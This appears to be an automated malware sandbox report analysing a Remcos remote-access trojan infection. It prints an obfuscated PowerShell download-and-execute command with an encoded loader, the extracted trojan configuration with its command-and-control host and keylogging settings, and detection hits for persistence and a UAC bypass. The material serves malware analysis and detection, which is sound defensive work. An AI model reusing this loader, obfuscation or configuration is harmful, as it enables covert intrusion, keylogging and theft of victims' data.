eXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNh
                        Sigma detected: Non Interactive PowerShell Process Spawned
                        Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNh

                        Data Obfuscation

                        barindex
                        Sigma detected: Drops script at startup location
                        Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3664, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eb7db44d.cmd

                        Stealing of Sensitive Information

                        barindex
                        Sigma detected: Remcos
                        Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3664, TargetFilename: C:\ProgramData\remcos\logs.dat

                        Suricata Signatures

                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-02-11T16:43:11.157580+010020365941Malware Command and Control Activity Detected192.168.2.64971037.120.208.4056379TCP
                        2025-02-11T16:43:15.220134+010020365941Malware Command and Control Activity Detected192.168.2.64971237.120.208.4056379TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-02-11T16:43:14.664904+010028033043Unknown Traffic192.168.2.649713178.237.33.5080TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-02-11T16:43:08.531503+010018100002Potentially Bad Traffic192.168.2.649709168.119.145.117443TCP
                        2025-02-11T16:43:22.149421+010018100002Potentially Bad Traffic192.168.2.649753168.119.145.117443TCP
                        2025-02-11T16:43:34.575652+010018100002Potentially Bad Traffic192.168.2.649837168.119.145.117443TCP
                        2025-02-11T16:43:49.451981+010018100002Potentially Bad Traffic192.168.2.649927168.119.145.117443TCP
                        2025-02-11T16:44:02.407175+010018100002Potentially Bad Traffic192.168.2.649991168.119.145.117443TCP
                        2025-02-11T16:44:16.123223+010018100002Potentially Bad Traffic192.168.2.649993168.119.145.117443TCP
                        2025-02-11T16:44:29.848168+010018100002Potentially Bad Traffic192.168.2.649995168.119.145.117443TCP
                        2025-02-11T16:44:48.076328+010018100002Potentially Bad Traffic192.168.2.649997168.119.145.117443TCP
                        2025-02-11T16:45:06.755366+010018100002Potentially Bad Traffic192.168.2.649998168.119.145.117443TCP
                        2025-02-11T16:45:23.925893+010018100002Potentially Bad Traffic192.168.2.650000168.119.145.117443TCP
                        2025-02-11T16:45:37.911783+010018100002Potentially Bad Traffic192.168.2.650001168.119.145.117443TCP
                        2025-02-11T16:45:55.921245+010018100002Potentially Bad Traffic192.168.2.650002168.119.145.117443TCP
                        2025-02-11T16:46:14.085304+010018100002Potentially Bad Traffic192.168.2.650003168.119.145.117443TCP
                        2025-02-11T16:46:32.997574+010018100002Potentially Bad Traffic192.168.2.650005168.119.145.117443TCP
                        2025-02-11T16:46:50.805215+010018100002Potentially Bad Traffic192.168.2.650006168.119.145.117443TCP
                        2025-02-11T16:47:09.243177+010018100002Potentially Bad Traffic192.168.2.650007168.119.145.117443TCP
                        2025-02-11T16:47:30.847672+010018100002Potentially Bad Traffic192.168.2.650008168.119.145.117443TCP
                        2025-02-11T16:47:44.580300+010018100002Potentially Bad Traffic192.168.2.650009168.119.145.117443TCP

                        Joe Sandbox Signatures

                        Click to jump to signature section

                        Show All Signature Results

                        AV Detection

                        barindex
                        Antivirus detection for URL or domain
                        Source: abokirem.duckdns.orgAvira URL Cloud: Label: malware
                        Found malware configuration
                        Source: 11.2.powershell.exe.8dc1288.3.raw.unpackMalware Configuration Extractor: Remcos {"Host:Port:Password": ["abokirem.duckdns.org:56379:1"], "Assigned name": "Aboki", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-J4I3IV", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
                        Yara detected Remcos RAT
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000024.00000002.2996548604.0000000008937000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001A.00000002.2674769480.0000000008E27000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.4114322266.0000000008BB7000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000033.00000002.3664827412.0000000008777000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001F.00000002.2812710908.0000000008A27000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000003D.00000002.4489261708.0000000008C07000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.3538098442.0000000000B66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001A.00000002.2665236037.000000000841F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2318149886.0000000002ED9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000029.00000002.2991295118.0000000002EFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2349076560.0000000008DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000024.00000002.2974752181.00000000070B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000014.00000002.2486988163.0000000008344000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000033.00000002.3644352502.00000000081C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2349927057.0000000008E98000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000024.00000002.2987241095.000000000802F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000002E.00000002.3374030025.0000000008F37000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001F.00000002.2807960981.00000000080DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000014.00000002.2489638672.0000000008887000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000029.00000002.3167840434.0000000009157000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000042.00000002.4878837381.0000000008B7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.4066556135.0000000008600000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000042.00000002.4928229851.0000000009127000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6092, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7848, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 364, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7468, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1588, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8008, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3432, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6532, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3852, type: MEMORYSTR
                        Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                        Joe Sandbox ML detected suspicious sample
                        Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.6% probability
                        Source: powershell.exe, 0000000B.00000002.2349076560.0000000008DC0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_f24d8a97-6

                        Exploits

                        barindex
                        Yara detected UAC Bypass using CMSTP
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0000000B.00000002.2349076560.0000000008DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2349927057.0000000008E98000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6092, type: MEMORYSTR
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49709 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49753 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49837 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49927 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49991 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49993 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49995 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49997 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49998 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50000 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50001 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50002 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50003 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50005 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50006 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50007 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50008 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50009 version: TLS 1.2
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0040AE51 FindFirstFileW,FindNextFileW,12_2_0040AE51
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,13_2_00407EF8
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,14_2_00407898
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Jump to behavior
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Jump to behavior
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Jump to behavior
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\Jump to behavior
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Jump to behavior
                        Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior

                        Networking

                        barindex
                        Suricata IDS alerts for network traffic
                        Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:49710 -> 37.120.208.40:56379
                        Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.6:49712 -> 37.120.208.40:56379
                        C2 URLs / IPs found in malware configuration
                        Source: Malware configuration extractorURLs: abokirem.duckdns.org
                        Connects to many ports of the same IP (likely port scanning)
                        Source: global trafficTCP traffic: 37.120.208.40 ports 56379,3,5,6,7,9
                        Uses dynamic DNS services
                        Source: unknownDNS query: name: abokirem.duckdns.org
                        Source: global trafficTCP traffic: 192.168.2.6:49710 -> 37.120.208.40:56379
                        Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                        Source: Joe Sandbox ViewIP Address: 37.120.208.40 37.120.208.40
                        Source: Joe Sandbox ViewIP Address: 168.119.145.117 168.119.145.117
                        Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
                        Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                        Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49713 -> 178.237.33.50:80
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49753 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49837 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:50001 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:50006 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49991 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:50007 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49927 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49995 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:50005 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49998 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:50003 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:50002 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:50008 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:50000 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:50009 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49993 -> 168.119.145.117:443
                        Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49997 -> 168.119.145.117:443
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
